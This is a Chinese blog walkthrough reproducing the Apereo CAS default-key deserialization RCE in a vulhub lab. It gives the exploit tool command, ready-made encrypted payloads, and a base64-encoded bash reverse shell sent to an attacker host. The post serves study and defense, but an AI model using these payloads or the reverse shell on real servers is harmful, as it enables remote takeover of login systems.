五分钟复现apereo-cas反序列化命令执行

一、漏洞成因

pereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
个人博客:https://zhixuan888.top/
参考链接:https://apereo.github.io/2016/04/08/commonsvulndisc/
漏洞原理实际上是Webflow中使用了默认密钥changeit:

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

    // ...

二、攻击思路

环境:vulhub
所需设备:服务器:vulhub(apereo-cas)
VPS:攻击者
在这里插入图片描述

三、漏洞复现

1、开启vulhub环境

docker-compose up -d

在这里插入图片描述
2、访问http://172.17.0.1:8080/cas/login即可查看到登录页面
在这里插入图片描述
3、我们登录CAS并抓包,查看execution值。
在这里插入图片描述
4、我们使用Apereo-CAS-Attack来复现这个漏洞。下载地址:

https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar

5、使用ysoserial的CommonsCollections4生成加密后的Payload:

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

在这里插入图片描述
附上密文

07136554-e7c8-42e5-9d0e-1de9980c78bf_AAAAIgAAABC58xbL5tLf2YD0tHozu1MqAAAABmFlczEyOJRk5qrQJjA8zu3rXB7xEJ1A5VjG1zaehIxSryFpVAcg5%2BCdRt7idPL31QcDxtM3ihN95DY10hl6Eej0vNE6z0okBCuEs6o5DpYN89UBpNcv6ZpXCrr%2FU3sL3SYdiH2LPyRRCo9fa8xixP50gIEPy%2BigPOf5ku%2Bx2ZIox%2BIDBIiBuy7dnX8k2TIvjEFJ5T0yPKGVmZ8venlQWEBfEADYQVYL3Mxl8PeclnGdSoPmGB1M77Fh0iT0RK8I%2B9oMY6vDFSnk3bhqmXhtmoQxMdinpqb8XlJJwDpEHHS7OIl78LU8zE%2Fi%2F2tMXUFQefts%2F0iXRi8vCaCZgfeA1NPUDODcv45H4L6Xtw2TNuNbzqx4Ix3RlVp%2Fevro%2F5JQ2Gu%2FJ2WnaQggeUeQxpKm6VR7TCuOVebH5ePOWHiibpBvH4DVTnja%2BMSIjGm%2FnP5F5zYP3fYD%2FDeA5AUlzvFRWQlzDqv5QTbf4S5l5vRby8%2BF2cCylC%2FH7jt%2Fc8jeIGjPm00PH82qvEZ0X%2B8JuyCP18w5MQ%2FRWR6YbuJUL6HL3KWQOVifypGmm%2FG5mfpHKOyn7VBpOkRBgoSQEsLHCTeH5T2hS5uHb%2F0sPt5pBH43fwWzMg629rfUt3gqAD0P7n5hYgtZgEKQNRx2wVtJxgVzmQ2qCwaZlhhr14YAstZVl9gQ%2BP7HgBUztYS3G2rlaomC5WU8UrxbiC6Qcnf%2FjrNNB5s4vz9YY2T3p9l%2F5sk0mMpc0nwxWCn0aDlLGdWUlox5FqZ2uKzIgIBE4o2g%2FiT8RmbYVxHH9UnfNfnFBYjudd%2FKcBl6cc7CJOUS5lC4Jq3gZnxUku2qidCKcXbHbG9UGT53wxQpm7Ahd8nDG7engoGRny3F7j9DBpuYoKO%2Brd1vZBz84j5JdGOtlqQinmD6ilXLQI1sCs8AoEz%2B6vA%2FGCUJqWigoga%2F3lu%2Fc5Jt9JhrAj9A9nTtW%2B7XOIy9ZDbHd0VHtHjXjv8EWP4DWuaHRxgz%2FAoIn2zUN%2BF3Wt7Zm%2Bi1V5UkTNx0qUagQstjDlgrbkqGXsItmM%2FcdfpBAuGhG1WL2qW%2FUTm%2FbMXkwRifdrEKmHmC8Q%2Byyl9Y%2FlnUUh%2F339hwMLPLKePQFVlYfu1otHRKEcE1ZW%2BJh5%2FWHSgmKiB6qfJ07GakvBNvq7p4ISaag%2Fzc97TIuiONIds7CWLw2rjjQYYy2NX1Gtmi5%2BGNK%2Bdpu2zGoecHTqTD2Z1Mi6ubmXxj4fq3R52C63uZAYO6j35CvqdM7jB9E4IpWSswhm3SjvtxceUfD1c7F5%2B9PPrQqMaXJ1O7e66GSnMeeP3SH%2BTmZydcEp8Ljne0%2BHrwMXBbgZ10eAVIQXOvkpVip8grR4eJZQmOdT%2BaMnjvNA1LxIQ%2B5StUnW%2BKnDQ89m9hQrlfrRgk0wCz6t1IMtJVDEi282dwr%2B7A6cNElF%2FItCebvPCxJINblK5Ri4p4fVhVZn0hT0utDZICypmb5LoKqe7kpOFG3LFM2dKQ35cnrUPTp4lUXl635fbK7qnXb0UULDUAI2LBWdmtC19wq%2FzYflbZ5d46%2B74il78UOpbTA28b8nyxZ6UYiBQvfNcoMUL32fvhmbeUYfsNQWImenSbv0FYABVHt9h9NXFIjoER4%2F6LI%2B%2Fn7XBi1OOXTog8zZcDDyILFosHHmy3x7FE%2FMa3WbCmRyOPs%2BOGyTc9ZUBkdGBnjzGv3TDlIVXx0BYG69QQ0zOtQGLQ16uJc3UpS7IIRf2%2BD9aVboIS7dcGZJuRfAGbrg29iERr75bmJhWQWHDy%2FWqqB%2BbYaCUIGxKdP6iXVrT6%2BXV8QL0se1bZSi75FI3g%2FhvYjSgesxf04SftxjuHCcHfmNNyztVBESi8WU6DQ1Jx3VxTr0I2GHBXd1mnRVlkXQov3dY3rHjp%2BsPdK50RUZ5I%2BW5Gt7cBWppZW3o6zR4iq4VJq%2FVIhzutu12fLHZq2hbbV2tLSO6T

6、用burp抓包更改execution参数
在这里插入图片描述
7、进入docker查看攻击成功。
docker exec -it a175a9c1590a bash
在这里插入图片描述

四、反弹shell

1、前面的思路都是一样的就是把命令换成反弹shell命令,用base64加密命令。

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOC8xOTExMSAwPiYx}|{base64,-d}|{bash,-i}"

在这里插入图片描述
附上密文

a4e0f261-9c4e-4165-a28d-c1e28facff0d_AAAAIgAAABAv5yjWC%2Fo%2FXNji99wZ9e1cAAAABmFlczEyOLhY5%2BEK9jnSgdBOkb%2B0S8ykMh3vmR8hvhPlT1x%2B6mYlsUHaLywi4s%2BFCuF4YptGelJG8EZH0MCCB%2FRWnHd0mzF0nV4XrX%2F8D15FJ6BRu337NFEvsIN%2BR86E5Kw6sY01aDa%2BXFQcYEQcSGy4XFaqI8h1tlGLWoFOukjoCKFWRZbPQgolgg%2FVKwoL0uxVOti%2Fjk3nB5A2qP3LHi5Eg80HO4VNGqHSzCmUcUspmf7Lb74zxga2Y9Da%2FUOghdtgUrrpmyJ6PzNp%2B3l4VhlDckebWCWGyPwrb8T1JfSo2lKD2vR9TUxolZwyDc1TqpOxFg9FPOKqfszdF0sozc57xt7I8vasAneEDdxL2ANEiHan2Jw3jVwI%2F9YE%2FLOhTrUC69mIY%2FUPntlhtHSg%2B9FlTF5JkKX70Yxj6F6WJ6V85%2BvJK0iowiIsx4iANH3cjp3S%2FNS2QN5GtRuzTWUUP6sSyFlQIyhmU85Y%2FYswqRXqJxMqPWnW1xQuMjB3bPg47%2Fe%2FH%2BzaWB%2FoKt85pOx0855ZdrN03Q3ECL8cqZ57VvvFv86HVic2BJQEcgsSRT0FhkoNkwCr2nl5zz412BrE%2BLWnSdKi2XOnY2ZpPKY9x%2BMklFuTdx9vLEDda3pI0JqEaSHvBhUkt5FYpl8SRcIMpH%2B4ctfoP9NBL%2F1o4ULQkKFMErYS%2FUBJxu4FusB8Fq1iRdGe1LHRPJ5LeS%2BsHq85oRdnVnhF0kdcPMlIX7yFQ9PLHgwoLs5BibUZNuZnhoW4hxGhIYKDoQZ%2FbR%2FexqRlmN%2BWC4xthpaA%2FC0VmmCXt%2B2AAPVJgs7c3vXk%2BkkWsdPf%2BcwOVkeBxexPFYVjG5czR7cE%2FRK%2FSZ4XLOyDphslrR9GF%2BYYs9C3IUcwwnqtR1K%2FNZKPZ9oMw66RNEs%2Ffeq0q%2B3rBWi7MR1toR2TkYAYxU78yhK3XVOQ96H3u256iNicrBsyiHWPqXtozBMMlkvA7uqq0elFnyco8TD6tOia9kRLpYAvmVeule2%2BeZYeRkFEi5dXdGKeac%2B3ItSBy699vqjVm9eGdOnk%2F6c4xjB2eyn47qvm%2F53l14QRWeGlucSQWaIBPBmG%2B00yUt5xQfqG3s%2Bjyw%2FPCQguLJuyskGdV2HNDCaD12pg%2Fb6h9gGep2gaGvQgZ587NPR7swKmNs9ZDxAYCefWhbtSAgkaN6ePtxm9McHUJi98YoAVrfFlr0YMaHJkAazz4TGFb7Es53F2m8yduhB6Y3tqE04CWVcfSjQPdUViBWxQ936E0da7luf467%2FoMuoMFWttTtouKX1AgD8kMzTOnqaSDFY%2BVl4jIRJrwL%2BDQDwi6nRvQ6dx2%2FZIsLocCjX3jZPIgi7a3WHhK030lQhcmaq0t7m3ugDglcp3xF8oF1pjAIWgjxGdAuVA5d7Gzn%2BiMohc2BRHgNRyXFCvrjWAWqBKeRD7SIRHiC9wJFpeHMOTCQFctB9LT5rmpO5H9AryynYzOJyyfXtmQjBCnIUzFhsv0Vlw30%2Bf5WoK9t8bUm4JjZ5TCDDP%2BP%2FS5GBxsYvQMyej4pWr4rI%2BBpHqY2Rp4VR98GRxDts9BI25KgKewmK5wRc7BYcAl0omlionZsI4cAiKsKtR5phYMFu%2Bawpueuzxg6mi7Zx%2Fa1NwuTo%2F1%2FEGujSc1xxwTgK9%2Bo0RWYzHcnPM2ogm0JMQIr92VStqufzUgzZZLtnDVkCq0L3bzBoqBi5nAwDUwEWJfhd6Q2mdRrlV%2F%2FC356ojJuB%2B3P7ek2w4nfF%2FSfTi1rR1yd3sybtS3r0j%2Bn58Rh9gqRJk0%2FS%2FAi5Chz15AMfwPDcSRRk6XLyxWdaL2CxO1J85LCrbA3N5SJGn3nrxJ1eJV7lIYgg5llFKiR0AjIuimuZfUnD9KxTmsiRFPhlUHtpi8xXiaWEy1UDPqaVl03n1RZzisz32xCE3GbiM1dF58NOhiIMJY9z6dAwONXdQupFRT4JSARUthZuL%2BBMHaUdey44TSxfgtBK%2F9wWWIpyGwt1EfoH3T6z9bwDXmHqHVZhApVJHRg7UJKJV8oAtSPF6giBL2NHvxrpUfp9sPclDAKltB2JiT7k%3D

2、用kali监听19111端口
在这里插入图片描述
3、用burp抓包更换payload。
在这里插入图片描述
4、查看kali,反弹shell成功。
在这里插入图片描述

五、修复建议

1、升级版本

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值